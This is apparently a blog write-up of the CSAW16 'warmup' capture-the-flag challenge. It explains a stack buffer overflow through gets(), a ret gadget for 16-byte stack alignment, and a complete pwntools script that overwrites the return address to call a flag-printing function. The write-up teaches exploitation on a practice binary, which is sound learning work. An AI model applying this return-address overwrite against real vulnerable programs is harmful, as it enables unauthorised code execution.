Logo
Stack Basics: Call Function
Overview

Stack Basics: Call Function

Ryclic Ryclic
October 26, 2025
2 min read
call_function

Introduction

As previously mentioned, we can overwrite the buffer and override certain local variables. However, what happens when we have enough buffer space to override all the way to the return address?

Well, this can lead to even more devasting consequences. With an overwrite over the returning address (EIP/RIP), we can call any function avaliable to us (that we know the address of).

In this challenge, we’re going to call a function that prints us the flag after we overwrite the return address.

Example

Following the “nightmare” practice challenges, let’s do the challenge from CSAW16 titled “warmup”.

We’re given a binary with the following decomposition in Ghidra:

main() function
void main(void)
{
char local_88 [64];
char local_48 [64];
write(1,"-Warm Up-\n",10);
write(1,&DAT_0040074c,4);
sprintf(local_88,"%p\n",easy);
write(1,local_88,9);
write(1,&DAT_00400755,1);
gets(local_48);
return;
}

This is quite a simple binary. Particularly of note is the dangerous gets() function, which allows us to arbitrarily write past the buffer to any place we desire.

This means we can overwrite the return address RIP (64 bit binary) to a function of our choice. Looking at the avaliable functions in the binary, we see an interesting easy() function:

flag() function
void easy(void)
{
system("cat flag.txt");
return;
}

Simple. All we have to do is overwrite RIP to point to this function, and we’re done. However, one of the most crucial parts of this challenge is the MOVAPS alignment issue. The stack is required to be aligned to 16 bytes. Sometimes we need to pad the stack with an extra 8 bytes for this alingment to not be messed up.

The original solution segfaults on MOVAPS, indicating to us that there is an alignment issue. To fix this, we can use ROPgadget to find any ret instruction to pad.

Terminal window
> ROPgadget --binary warmup | grep "ret"
...
0x00000000004004a1 : ret
...

After adding this to our ROP chain, we can complete the challenge. Here is the solution script:

exploit.py
from pwn import *
RET_GADGET = 0x4004A1
p = process("./warmup")
p.recvuntil("WOW:")
addr = int(p.recvline().strip(), 16) # convert hex to integer for p64
payload = b"A" * 0x48 # write up to RIP
payload += p64(RET_GADGET) # movaps alignment
payload += p64(addr) # 'easy' function
p.sendline(payload)
p.interactive()